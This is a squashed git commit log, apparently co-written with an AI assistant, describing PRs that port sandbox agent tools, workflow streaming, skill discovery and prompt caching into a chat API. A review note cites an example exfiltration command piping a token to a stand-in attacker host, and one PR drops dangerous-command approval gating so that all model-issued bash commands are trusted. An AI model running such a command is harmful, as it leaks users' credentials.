What's now plumbed end-to-end:
- validateChatWorkflow → session+chat ownership → sandbox active → reconcile
  existing active_stream_id (resume / 409 / fall-through) → refresh
  lifecycle activity → fire-and-forget persist user message → start
  runAgentWorkflow → CAS active_stream_id (cancel + 409 on race) →
  return run.getReadable() with x-workflow-run-id header

New helpers (Supabase):
- compareAndSetChatActiveStreamId — atomic CAS on chats.active_stream_id
- touchChat — bump chats.updated_at
- updateChat — generic partial update mirroring updateSession's shape
- createChatMessageIfNotExists — INSERT ... ON CONFLICT DO NOTHING via upsert
- isFirstChatMessage — true iff exactly one row exists matching messageId

New helpers (chat/recoupable):
- extractOrgId — `org-<slug>-<uuid>` → uuid (lowercased)
- agentCustomInstructions — assistantFileLinkPrompt + recoupApiSkillPrompt
- persistLatestUserMessage — fire-and-forget user msg + title-from-first-80
- reconcileExistingActiveStream — 3-attempt resume/clear/conflict loop

New workflow files:
- app/workflows/runAgentWorkflow.ts — `"use workflow"`, agent loop wrapper
- app/workflows/runAgentStep.ts — `"use step"`, single streamText turn

Tests: 46 new (8 extractOrgId + 5 cAS + 3 touchChat + 2 updateChat + 3
createChatMessageIfNotExists + 5 isFirstChatMessage + 7 persistLatest +
6 reconcileExistingActiveStream + 18 handler-wire-up tests refactored).
Full suite: 2946/2946 pass, lint clean.

Out of scope (next PR): sandbox tool ports (10 files + buildAgentTools).
Without tools, `finishReason` is always "stop" after one turn — the
runAgentWorkflow loop shape is in place but only iterates once today.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat-workflow): address PR review — structural + P1/P2 fixes

Sweetman structural feedback (KISS / OCP):
- Move workflow files: app/workflows/runAgent{Workflow,Step}.ts →
  app/lib/workflows/runAgent{Workflow,Step}.ts
- Generic Supabase helpers + domain wrappers:
  - Generic `updateChat({filter, updates})` with optional CAS predicate
    on active_stream_id. Subsumes compareAndSetChatActiveStreamId and
    touchChat (both deleted).
  - Generic `selectChatMessages({chatId, orderBy, limit, ...})` replaces
    domain-specific isFirstChatMessage. The "is earliest?" check now
    lives in persistLatestUserMessage where it belongs.
  - Rename createChatMessageIfNotExists → `upsertChatMessage` with a
    discriminated `{ok, row, isDuplicate} | {ok:false, error}` result so
    callers can tell duplicates from DB errors.
- Extract resume-stream block from handler into `maybeResumeChatStream.ts`
  (OCP — handler stays small, resume logic grows independently).

cubic P1 fixes:
- CAS-before-start: handler now claims `active_stream_id` with a
  `pending-<uuid>` placeholder BEFORE calling start(workflow). Closes the
  race where two requests could both bill the model before one lost the
  CAS. After start(), promotes the placeholder to the real run id.
- updateChat returns discriminated `{ok, rowsUpdated} | {ok:false, error}`
  so callers distinguish "race lost" (rowsUpdated:0) from DB errors.
- reconcileExistingActiveStream: bare try/catch on getRun no longer
  clears stale active_stream_id on transient workflow API failures —
  we treat any uncertainty as conflict. Failed CAS-clear on a completed
  run also returns conflict (rather than possibly falling through to
  ready on a DB read error).
- await getRun(runId).cancel() in handler — previously synchronous +
  unawaited cancellation could escape the try/catch.

cubic P2 fixes:
- updateChat updates parameter narrowed to `ChatMutableFields` (excludes
  id, session_id, created_at).
- persistLatestUserMessage: title truncation now respects TITLE_MAX_LENGTH
  exactly. Uses "…" (1 char) instead of "..." (3 chars) and slices to
  body-budget = max - suffix.
- runAgentStep: acquire writer once, release in finally. Per-chunk writer
  acquisition could leak the lock on write failure.
- runAgentWorkflow: capped at a single turn until messages threading
  lands with tool ports (PR 4). Multi-turn loop with the same input was
  unsafe — log+warn if model returns tool-calls and exit.

Tests reworked: 231 in the touched files all green; full suite 2949/2949;
lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat-workflow): top-level import in reconcileExistingActiveStream

The dynamic `await import("workflow/api")` inside the function body was
a carry-over from open-agents — handleChatWorkflowStream.ts already
top-level imports `start` and `getRun` from the same package, so there's
no reason for the lib to defer. Moving to a normal top-level import for
consistency.

Also tightens the cancel-throws handler test to use the same deferred-
rejection pattern as reconcileExistingActiveStream.test.ts so Vitest's
unhandled-rejection watcher doesn't trip on the mock setup.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat-workflow): move active_stream_id CAS out of supabase lib

Per sweetman's review on updateChat.ts:64 — the active_stream_id-specific
predicate logic doesn't belong in the Supabase plumbing. Restructured:

- `lib/supabase/chats/updateChat.ts` now generic. The filter accepts
  `where: Partial<Tables<"chats">>` (a generic predicate that maps to
  `column = value` or `column IS NULL`) so no column name is hardcoded
  in the Supabase lib.

- `lib/chat/compareAndSetChatActiveStreamId.ts` — new domain wrapper.
  Owns the "compare-and-set on active_stream_id" concept and returns a
  discriminated `{ok, claimed} | {ok: false, error}` result. Handler
  and reconcileExistingActiveStream both compose against this wrapper
  instead of constructing predicates inline.

- Handler + reconcile updated to use the wrapper. Tests follow.

37/37 tests in touched files pass; full suite 2955/2955; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(chat-workflow): Next.js build — discriminated-union narrowing + supabase type depth

Two production-build issues surfaced by Vercel that local pnpm test +
tsc didn't catch (vitest uses esbuild transpile, no type check; tsc's
errors were all in __tests__ unrelated to this PR).

1. `compareAndSetChatActiveStreamId.ts` — `if (result.ok) { ... }`
   narrowing wasn't kicking in under Next.js's strict TS plugin.
   Switched to `if ("error" in result)` (in-operator narrowing) which
   reliably discriminates the union members regardless of literal-type
   inference quirks.

2. `lib/supabase/chats/updateChat.ts` — `let query = supabase.from(...)
   .update(...).eq(...)` + reassignment in a `for` loop (`.is()` /
   `.eq()` per where entry) caused "type instantiation is excessively
   deep" — Supabase's PostgrestFilterBuilder is heavily generic and the
   reassignment kept expanding the type. Rewrote as: split where map
   into equality matches (one `.match(obj)` call) + nullable columns
   (reduced with `.is(col, null)` typed back to the original builder).

Both bugs were behavior-neutral — the function shape and contract are
unchanged. 37/37 tests in touched files green; full suite 2955/2955;
lint clean; `pnpm build` now succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4, slim) (#583)

* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4 of 4, slim)

Slim PR 4: ports the `bash` sandbox tool from open-agents and wires it
through the workflow via streamText's `experimental_context`. Proves
the entire tool-execution machinery works end-to-end. The remaining 10
tools (read, write, grep, glob, todo, task, ask_user_question, skill,
fetch + utils) port in a follow-up; this PR's scope was deliberately
held to one tool so the wire-up is reviewable in isolation.

New files:
- lib/agent/tools/utils.ts — AgentContext type, isAgentContext guard,
  getSandbox() that reconnects via connectVercel(state) per call.
- lib/agent/tools/buildRecoupExecEnv.ts — { RECOUP_ACCESS_TOKEN,
  RECOUP_ORG_ID } env builder from context.
- lib/agent/tools/bashTool.ts — direct port of open-agents bash.ts
  adapted to api's Sandbox interface. Injects recoup env on foreground
  execs only (detached processes outlive the prompt → no token).
- lib/agent/buildAgentTools.ts — factory returning the agent's tool
  record. Adding the remaining tools is a one-line append to this map.

Wire-up:
- runAgentStep now accepts `agentContext`, passes into streamText as
  experimental_context, and uses streamText's internal multi-step loop
  (stopWhen: stepCountIs(25)) for tool-call iteration — no outer loop
  in runAgentWorkflow needed.
- handleChatWorkflowStream derives recoupOrgId from session.clone_url
  via extractOrgId, builds AgentContext with session.sandbox_state +
  validated.authToken, passes to start(workflow).

Tests: 23 new (3 utils + 5 buildRecoupExecEnv + 10 bashTool + 2 factory
+ 3 workflow file updates picked up by existing tests). Full suite
2978/2978 pass; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat-workflow): address PR 583 review — KISS/SRP + drop token exposure

Sweetman KISS/SRP feedback (4 comments):
- Removed `MAX_TOOL_STEPS` + `stopWhen` from runAgentStep. streamText's
  default stop condition handles tool-call iteration without an
  arbitrary cap that could silently truncate the only workflow turn.
- Removed `commandNeedsApproval` + `DANGEROUS_COMMAND_PATTERNS` from
  bashTool. All model-issued commands are trusted in this PR — host-
  side gating belongs at the route/UI layer if it ever returns.
- Removed `needsApproval` from bashTool entirely (subsumes cubic P1
  about the broken override ordering — the gate itself is gone).
- Split `lib/agent/tools/utils.ts` into per-function files:
  - `AgentContext.ts` — type
  - `isAgentContext.ts` — guard
  - `getSandbox.ts` — sandbox reconnection
  No catch-all utils file.

Cubic feedback:
- **P0**: Removed `recoupAccessToken` from AgentContext + handler +
  buildRecoupExecEnv. Handing the long-lived api key to bash would let
  any model-issued command exfiltrate it via env (`echo $TOKEN | curl
  evil.com`). Slim PR 4 has no actual consumer for the token — only
  the future `skill` tool needs it. Proper short-lived token minting
  will land alongside that port.
- **P2** (`isAgentContext` too weak): tightened the guard to validate
  sandbox.state is a non-null object AND sandbox.workingDirectory is a
  non-empty string. Earlier guard returned true for `{ sandbox: {} }`,
  letting tools later crash on undefined fields.
- P1 + P2 about stopWhen / needsApproval: resolved by sweetman's
  deletions above.
- P2 (test file >100 lines): dismissed — same as PR 3 review. The repo
  has no enforced max-lines rule; existing tests routinely exceed 700
  lines.

Tests updated for the new shape. 25 tests in touched files green
(8 isAgentContext + 4 getSandbox + 7 bashTool + 4 buildRecoupExecEnv +
2 factory). Full suite 2980/2980 pass; lint clean; production build
succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat): extract CHAT_AGENT_STOP_WHEN, shared by /api/chat + /api/chat/workflow

Per discussion on PR #583. Restoring the streamText stop condition so
the workflow agent gets the model wrap-up turn after a tool call (model
→ tool → tool-result → model → text response), instead of stopping at
streamText's default `stepCountIs(1)` after the first tool call.

DRY by sharing one constant between the two chat endpoints:

- New: `CHAT_AGENT_STOP_WHEN = stepCountIs(111)` in lib/chat/const.ts.
  Inherits the value that /api/chat already uses (originally hardcoded
  in getGeneralAgent.ts:55) — high enough that normal flows never hit
  the cap but bounds runaway loops for cost / replay safety.
- lib/agents/generalAgent/getGeneralAgent.ts: imports the constant
  instead of constructing stepCountIs(111) inline.
- app/lib/workflows/runAgentStep.ts: imports the constant, passes to
  streamText as `stopWhen`.

Single-shot agents (createCompactAgent, createContentPromptAgent,
createEmailReplyAgent) intentionally keep their local `stepCountIs(1)`
— they're not in the multi-step chat family.

Full suite 2980/2980 pass; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep… (#585)

* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep/glob/todo/web_fetch (PR 5)

Builds on PR 4 (bash + wire-up) by porting the remaining leaf tools
from open-agents/packages/agent/tools/. Each is a direct port adapted
to api's Sandbox interface, registered in buildAgentTools, and ready
for the agent to invoke through the existing experimental_context
plumbing.

New tool files (one tool per file, per sweetman SRP):
- readFileTool.ts — read with 1-indexed offset/limit, numbered output
- writeFileTool.ts — create / overwrite (with mkdir -p) on sandbox.writeFile
- editFileTool.ts — exact-string replace, ambiguous-match rejection
- grepTool.ts — POSIX ERE search via `grep -rn`, capped at 100/10/200
- globTool.ts — find -printf with mtime sort, GNU/BSD-compatible
- todoWriteTool.ts — stateless planning surface; echoes the list back
- webFetchTool.ts — curl from inside the sandbox, body truncated at 10KB

New helpers (utilities used by multiple tools):
- shellEscape.ts — `'` → `'\''` dance
- toDisplayPath.ts — absolute → relative-when-inside-workdir display path

buildAgentTools registers all 8 leaf tools (bash + 7 new). The composite
tools (`task`, `ask_user_question`, `skill`) need subagent context /
UI rendering / skill discovery infrastructure not in api today and
land in a follow-up PR.

Tests: 50 new across the 7 tools + 2 helpers + factory. Full suite
3014/3014; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(agent-tools): harmonize tool exports as direct values (drop factory wrappers)

Per PR 585 review question — most tools were defined as `() => tool({...})`
factories while two (todoWriteTool, webFetchTool) were direct values.
The split was a vestigial copy from open-agents where the factory
pattern only made sense for tools that took options (originally bash's
ToolOptions, which sweetman had me remove in PR 4 review).

AI SDK's `tool()` helper returns a plain value with no per-call state,
so the factory wrappers added nothing. Harmonized to direct-value
exports across all 8 tools:

- bashTool, readFileTool, writeFileTool, editFileTool, grepTool,
  globTool: dropped the `() =>` wrapper.
- buildAgentTools.ts: dropped the matching `()` calls.
- 6 test files: dropped `const tool = xTool();` calls (use `xTool` directly).

Full suite 3014/3014 pass; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim) (#587)

* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim)

Ports the `skill` composite tool from open-agents along with the skill
discovery layer it depends on. The handler now connects to the sandbox
before workflow start, scans `${workingDirectory}/skills/` for project-
level skills, and threads the catalog into the workflow via
`AgentContext.skills`. The `skill` tool is registered in
`buildAgentTools` only when the catalog is non-empty — so models in
sandboxes without skills never see the tool.

New skills layer (lib/skills/):
- skillTypes.ts — SkillMetadata, SkillOptions, skillFrontmatterSchema,
  frontmatterToOptions (Zod schema + camelCase normalization)
- parseSkillFrontmatter.ts — hand-rolled YAML subset parser
  (key:value, quoted strings, booleans; preserves colons in URLs)
- extractSkillBody.ts — strip frontmatter, return body
- substituteArguments.ts — $ARGUMENTS replacement
- injectSkillDirectory.ts — prepend `Skill directory: <path>`
- discoverSkills.ts — scan dirs, parse frontmatter, dedupe by name,
  drop names that shadow built-in /model /resume /new
- getSandboxSkillDirectories.ts — slim: `[${workingDirectory}/skills]`
  only. Global skills (~/.skills) port later alongside short-lived
  token minting

New tool: lib/agent/tools/skillTool.ts — case-insensitive lookup,
respects `disable-model-invocation`, surfaces available-skills list
on unknown name. Loads SKILL.md content, applies extractSkillBody →
injectSkillDirectory → substituteArguments, returns to the model.

Wire-up:
- AgentContext gains `skills?: SkillMetadata[]`
- buildAgentTools accepts `{ skills }`, registers skill tool when
  non-empty
- runAgentStep passes `agentContext.skills` to buildAgentTools
- handleChatWorkflowStream connects sandbox + discoverSkills before
  start(workflow); empty catalog on discovery failure (best-effort,
  never blocks the request)

Slim scope decisions:
- Project skills only (no global ~/.skills/ scan yet)
- No short-lived token minting; the recoup-api skill would still
  load + return content, but its curl examples wouldn't authenticate
  without ad-hoc credentials. Token minting becomes a separate PR
  where it can be designed properly (Privy JWT vs server-minted JWT
  scoped to accountId + sandbox session).

Tests: 35 new (4 extractSkillBody + 4 substituteArguments + 2
injectSkillDirectory + 7 parseSkillFrontmatter + 9 discoverSkills +
7 skillTool + 4 buildAgentTools updated). Full suite 3049/3049 pass;
lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(skills): match open-agents 3-path scan (was scanning the wrong dir)

The slim getSandboxSkillDirectories looked at \${workingDirectory}/skills/
— a path that doesn't exist in real recoupable sandboxes. The actual
layout (mirrored from open-agents/apps/web/lib/skills/directories.ts):

  - \${workingDirectory}/.claude/skills/   (project, claude-style)
  - \${workingDirectory}/.agents/skills/   (project, agents-style)
  - \${HOME}/.agents/skills/               (global; populated at
                                           provisioning by
                                           installSessionGlobalSkills)

Also drops the earlier deferral comment: global skills load fine
WITHOUT short-lived token minting. The skill tool returns SKILL.md
content to the model; only the curl examples *inside* SKILL.md need
auth credentials, and those can be supplied ad-hoc until proper
token minting lands.

Changes:
- getSandboxSkillDirectories now async (uses resolveSandboxHomeDirectory
  to find the sandbox's actual $HOME — defaults to /root)
- exports the two sub-functions (getProjectSkillDirectories +
  getGlobalSkillsDirectory) so they're individually testable
- Handler awaits the async path resolution
- New test suite covers all 3 paths + $HOME variants

Caught by sweetman pointing out that this same repo (org-rostrum-pacific)
DOES show skills in open-agents — proving the slim deferral was wrong.

Full suite 3053/3053; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(skills): YAGNI project-dir scan + extract getSkills (per PR 587 feedback)

Two changes per user direction:

1. **YAGNI: drop project-skill directory scanning.** All skills are
   provisioned globally via `installSessionGlobalSkills` at sandbox
   startup — org repos do NOT bundle their own skill directories.
   getSandboxSkillDirectories now returns just the single global
   path: \`\${HOME}/.agents/skills\`. Deleted getProjectSkillDirectories
   and the PROJECT_SKILL_BASE_FOLDERS array.

2. **SRP: extract getSkills into its own file.** Previously inline in
   skillTool.ts (per sweetman comment on PR 587). Now lives at
   lib/skills/getSkills.ts with its own tests. Future skill-aware
   consumers (e.g. system-prompt builders) share the same accessor
   instead of duplicating the context-cast.

Verified live on preview against \`recoupable/org-rostrum-pacific-...\`
BEFORE this commit:
  - Sandbox provisioning installs 2 globals at
    /home/vercel-sandbox/.agents/skills/ (recoup-api + artist-workspace)
  - Agent invoked \`skill({ skill: "recoup-api" })\` successfully,
    received 11,173 chars of SKILL.md content with the correct
    "Skill directory: /home/vercel-sandbox/.agents/skills/recoup-api"
    header

Full suite 3055/3055; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(skills): SRP — extract findSkillFile + getGlobalSkillsDirectory

Per sweetman PR review (comments r3283710486 and r3283762023). Each
helper now lives in its own file with its own focused test suite:

- lib/skills/findSkillFile.ts — was inlined in discoverSkills.ts
  - 3 new unit tests (prefer SKILL.md, fall back to skill.md, null
    when neither exists)
- lib/skills/getGlobalSkillsDirectory.ts — was inlined in
  getSandboxSkillDirectories.ts
  - 2 new unit tests (standard path, trailing-slash tolerance)

discoverSkills now imports findSkillFile. getSandboxSkillDirectories
imports getGlobalSkillsDirectory. The old getSandboxSkillDirectories
test loses its inline getGlobalSkillsDirectory cases (those moved to
the dedicated test file).

Full suite passes; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): port task + ask_user_question composite tools (PR 7) (#589)

* feat(chat-workflow): port task + ask_user_question composite tools (PR 7)

Completes the open-agents tool surface. The agent now has all 11 tools.

**ask_user_question** (lib/agent/tools/askUserQuestionTool.ts) —
client-side tool with NO server execute. Schema mirrors open-agents
verbatim (questions array, options with label/description, multiSelect
flag, max 12-char header). streamText halts after emitting the tool-
call because there's no result to feed back; the chat UI renders the
question component, collects answers, and submits them in the next
workflow request's messages array. No WDK pause/resume hook needed.

**task** (lib/agent/tools/taskTool.ts) — slim port of open-agents'
multi-type SUBAGENT_REGISTRY → one generic subagent. Runs a sub-
`streamText` loop with a curated subagent tool set (`read, write,
edit, grep, glob, bash`) matching open-agents' `executor` subagent.

The subagent tool set deliberately EXCLUDES:
- task (recursion guard — open-agents' three subagent types
  executor/explorer/design all explicitly omit task too; subagents
  are leaves of the agent tree)
- ask_user_question, skill, todo_write, web_fetch (parity with
  open-agents subagent curation; subagents run autonomously, don't
  plan from scratch, don't make web calls, don't load further skills)

AgentContext gains `modelId?: string` so the subagent can use the
same model as its parent. Handler populates it from chat.model_id
or the platform default.

buildAgentTools registers both new tools unconditionally (skill stays
conditional on a non-empty catalog).

Quirk: api's AI SDK (6.0.0-beta.122) calls toModelOutput(output)
directly, NOT toModelOutput({ output }) as open-agents' newer 6.0.165
does. askUserQuestionTool uses the direct signature.

Tests: 9 askUserQuestionTool + 6 taskTool + updated buildAgentTools
+ AgentContext updates. Full suite 3075/3075 pass, lint clean,
production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(task-tool): provide non-empty subagent prompt

The subagent's streamText was invoked with messages: [] and only a
system prompt, so the AI SDK recorded zero steps and threw
NoOutputGeneratedError — surfaced to the parent as "Subagent failed:
No output generated. Check the stream for errors."

Pass an explicit user-side trigger prompt, mirroring open-agents'
task tool. Adds a regression test that asserts streamText receives
either a non-empty prompt or non-empty messages.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(task-tool): extract buildSubagentTools (SRP) + drop modelId from AgentContext (KISS)

Address PR review feedback:

- SRP: move buildSubagentTools to lib/agent/tools/buildSubagentTools.ts
  (one exported function per file).
- KISS: open-agents' AgentContext type does not have modelId — it uses
  model: LanguageModel / subagentModel?: LanguageModel. api can't follow
  that exact shape because agentContext is part of a durable Vercel
  Workflow input and LanguageModel objects aren't JSON-serializable.
  Instead of inventing modelId on AgentContext, hardcode a default
  subagent model id in taskTool. A subagentModelId override field can
  be added if/when a real consumer needs it.

Also format-fixes askUserQuestionTool.ts toModelOutput arrow
(parentheses around single param flagged by prettier in CI).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(agent): align AgentContext + model resolution with open-agents

Match open-agents' `tools/utils.ts` + `types.ts` shape so the subagent
inherits the parent's model (rather than the previous hardcoded
SUBAGENT_MODEL_ID):

- AgentContext gains `model: LanguageModel` (required) and
  `subagentModel?: LanguageModel`, mirroring open-agents.
- Introduce DurableAgentContext = Omit<AgentContext, "model" | "subagentModel">
  for the workflow input shape, since LanguageModel instances aren't
  JSON-serializable and can't ride durable Vercel Workflow inputs.
- runAgentStep constructs `callModel = gateway(input.modelId)` once
  per step and merges it into experimental_context — same pattern as
  open-agents' prepareCall in open-harness-agent.ts.
- New getMainModel / getSubagentModel helpers (SRP, one per file)
  mirror open-agents' utility functions: getSubagentModel returns
  `ctx.subagentModel ?? ctx.model`.
- taskTool drops the hardcoded SUBAGENT_MODEL_ID; calls
  getSubagentModel(experimental_context, "task") instead — subagent
  now defaults to the same model the parent is running.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): emit per-message cost/usage metadata (cutover Bundle C) (#592)

* feat(chat-workflow): emit per-message cost/usage metadata (Bundle C)

First step in the open-agents → api cutover sequence. Adds a
messageMetadata callback to runAgentStep's toUIMessageStream call so
the UI receives {modelId, lastStepUsage, totalMessageUsage,
lastStepCost, totalMessageCost, stepFinishReasons} on every assistant
turn — matching open-agents' WebAgentMessageMetadata shape byte-for-byte
so sandbox.recoupable.com's model/cost badges keep working when cut
over to /api/chat/workflow.

New (SRP, one function per file):
- lib/agent/messageMetadata/extractGatewayCost.ts — port of
  open-agents' gateway-metadata.ts, parses gateway-reported per-step
  cost from providerMetadata.
- lib/agent/messageMetadata/addLanguageModelUsage.ts — port of
  open-agents' usage.ts, pointwise-sums LanguageModelUsage records.
- lib/agent/messageMetadata/AgentMessageMetadata.ts — type mirroring
  open-agents' WebAgentMessageMetadata.
- lib/agent/messageMetadata/buildMessageMetadataCallback.ts —
  stateful factory returning a fresh callback per turn; accumulates
  usage + cost across finish-step parts.

Wired into app/lib/workflows/runAgentStep.ts. PROGRESS notes called
this out as a known gap from the original workflow port (PR 4).

Tests: 19 new (6 + 4 + 6 + 3); full suite 3096/3096 pass; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(message-metadata): SRP extractions + upgrade ai SDK; drop normalizeUsage

Address PR review feedback (one exported function per file) and adopt
the user's preferred path of upgrading api's `ai` package rather than
maintaining a normalization shim:

- Extract addTokenCounts.ts (used by addLanguageModelUsage)
- Extract hasGatewayShape.ts + GatewayProviderMetadata.ts (used by
  extractGatewayCost)
- Split AgentStepFinishMetadata into its own file (was co-located
  in AgentMessageMetadata)

Upgrade the AI SDK so the wire format matches open-agents natively:
- ai: 6.0.0-beta.122 → ^6.0.190
- @ai-sdk/anthropic, @ai-sdk/gateway, @ai-sdk/google, @ai-sdk/openai,
  @ai-sdk/mcp: all bumped to latest stable

The new SDK's LanguageModelUsage is the flat shape (top-level
`inputTokens` number + nested `inputTokenDetails`) — identical to
open-agents' wire format. No conversion needed, so:
- Delete normalizeUsage.ts + test (net -82 LOC)
- Delete AgentLanguageModelUsage type (use SDK's LanguageModelUsage
  directly)

Production code changes for the SDK upgrade:
- runAgentStep + setupChatRequest: await convertToModelMessages
  (now returns Promise<ModelMessage[]>)

Tests: 3106/3106 pass; production typecheck clean; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(task-tool): live subagent progress + transcript (Cutover Bundle B) (#594)

Convert taskTool.execute from `async () =>` to `async function*`,
mirroring open-agents' `packages/agent/tools/task.ts`. Yields multiple
chunks during the subagent run so the chat UI can render:

  - An initial "Subagent · 0 tools · 0 tokens" card with stable
    startedAt timestamp
  - A live `pending: {name, input}` indicator for each tool-call
  - Accumulated `usage` after each finish-step
  - A final `{final: ModelMessage[], ...}` chunk containing the full
    subagent transcript for expandable rendering

`toModelOutput` mirrors open-agents' implementation: extracts the
last assistant text part from `output.final` for inclusion in the
parent agent's context.

New (SRP, one function per file):
- lib/agent/messageMetadata/sumLanguageModelUsage.ts — wraps
  addLanguageModelUsage to handle undefined inputs without
  introducing zero-tokens placeholders.

Drive-by fix: askUserQuestionTool's `toModelOutput` signature was
`(output) =>` from the older beta SDK era. The current SDK
(ai@^6.0.190) passes `({ toolCallId, input, output })`. Updated to
`({ output }) =>` so the function actually receives the user's
answers at runtime — was previously falling through to the generic
"User responded to questions." path. Tests updated to match.

Tests: 25 new/updated (12 taskTool + 4 sumLanguageModelUsage + 9
askUserQuestion); full suite 3114/3114 pass; lint clean.

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): thread real cwd + currentBranch into system prompt (cutover Bundle A.7) (#597)

* feat(chat-workflow): thread real cwd + currentBranch into system prompt (Bundle A.7)

Third open-agents → api cutover bundle. The handler hardcoded
`workingDirectory: DEFAULT_WORKING_DIRECTORY` and never set
`currentBranch`, so the agent had no environment info in its system
prompt and had to run `pwd` / `git branch` on every turn.

Production verification (today, before this fix):
  agent: "My system prompt does not contain working directory or
         branch information."

After this fix the agent receives an Environment section + Current
branch line + cloud-sandbox checkpointing block — same shape as
open-agents (sandbox.recoupable.com) emits.

Changes:
- New `lib/chat/buildAgentSystemPrompt.ts` (SRP) — assembles
  environment section → Current branch → cloud-sandbox checkpointing
  → custom instructions, all conditional on inputs. Mirrors
  open-agents' `buildSystemPrompt` (packages/agent/system-prompt.ts).
- New `lib/chat/cloudSandboxInstructions.ts` (SRP) — ports
  open-agents' `CLOUD_SANDBOX_INSTRUCTIONS` block with `{branch}`
  placeholder substitution.
- `handleChatWorkflowStream`: connect the sandbox once for both skill
  discovery AND cwd/branch reading, then thread real values into
  `AgentContext.sandbox.workingDirectory` + `.currentBranch`. On
  connect failure, fall back to DEFAULT_WORKING_DIRECTORY (preserves
  today's behavior; tools surface real errors later when they
  reconnect).
- `runAgentStep`: build the system prompt via
  `buildAgentSystemPrompt({cwd, currentBranch, customInstructions})`
  instead of using the static `agentCustomInstructions` directly.

Scope reduced from the original "A.7+9" bundle: dropped contextLimit
plumbing because it's a client-side display concern in open-agents,
not server-side model routing (verified via grep — open-agents'
server never reads context.contextLimit either).

Tests: 7 new (6 buildAgentSystemPrompt + 1 runAgentStep wiring);
full suite 3121/3121 pass; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* chore(chat-workflow): drop currentBranch handling from system prompt

Per direction: branch is always `main` (the default branch) in api's
deployment topology, so the per-branch `Current branch: <name>` line
and cloud-sandbox checkpointing block don't add information today.
Strip the templating to keep the system prompt focused on what's
load-bearing (the Environment section indicating workspace-relative
paths).

- Delete `lib/chat/cloudSandboxInstructions.ts` (was a port of
  open-agents' CLOUD_SANDBOX_INSTRUCTIONS, only useful with a real
  per-session branch)
- Drop `currentBranch` from `buildAgentSystemPrompt` options +
  rendering
- Stop reading `sandbox.currentBranch` in handleChatWorkflowStream
  (the field stays on AgentContext.sandbox for type completeness;
  also consumed by createSandboxHandler unchanged)
- Remove branch-related test cases

Can be re-added later if/when meaningful per-session branches (e.g.
xx/abcdef12 generated branches) land.

Tests: 3119/3119 pass; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(chat-workflow): drop stale currentBranch arg from buildAgentSystemPrompt call

Build failure on bf1e245 — runAgentStep was still passing
`currentBranch: input.agentContext.sandbox.currentBranch` after
buildAgentSystemPrompt's option was removed. Stripping it.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): Anthropic prompt cache control (Bundle A.6) (#599)

Fourth open-agents → api cutover bundle. runAgentStep was sending the
same system prompt + tool definitions on every turn as fresh input,
even though Anthropic prompt caching can shave 90% off subsequent
input cost. Production traces showed `cacheReadTokens: 0` on every
api turn, while open-agents shows cacheRead matching cacheWrite from
the prior turn — i.e. open-agents reuses the cached prefix.

Changes (SRP — one function per file):
- `lib/agent/contextManagement/isAnthropicModel.ts` — predicate
  port of open-agents'
  `packages/agent/context-management/cache-control.ts:5`.
- `lib/agent/contextManagement/addCacheControlToTools.ts` — marks
  the LAST tool with `cacheControl: { type: "ephemeral" }`. Last-only
  conserves Anthropic's 4-breakpoint limit.
- `lib/agent/contextManagement/addCacheControlToMessages.ts` —
  marks the LAST message with `cacheControl` on every step, per
  Anthropic's "mark the final block of the final message" guidance.

`runAgentStep` now:
- Wraps the tool set via `addCacheControlToTools(...)` before passing
  to streamText (static — set once per step).
- Adds a `prepareStep` callback that wraps `messages` via
  `addCacheControlToMessages(...)` on every internal model call.

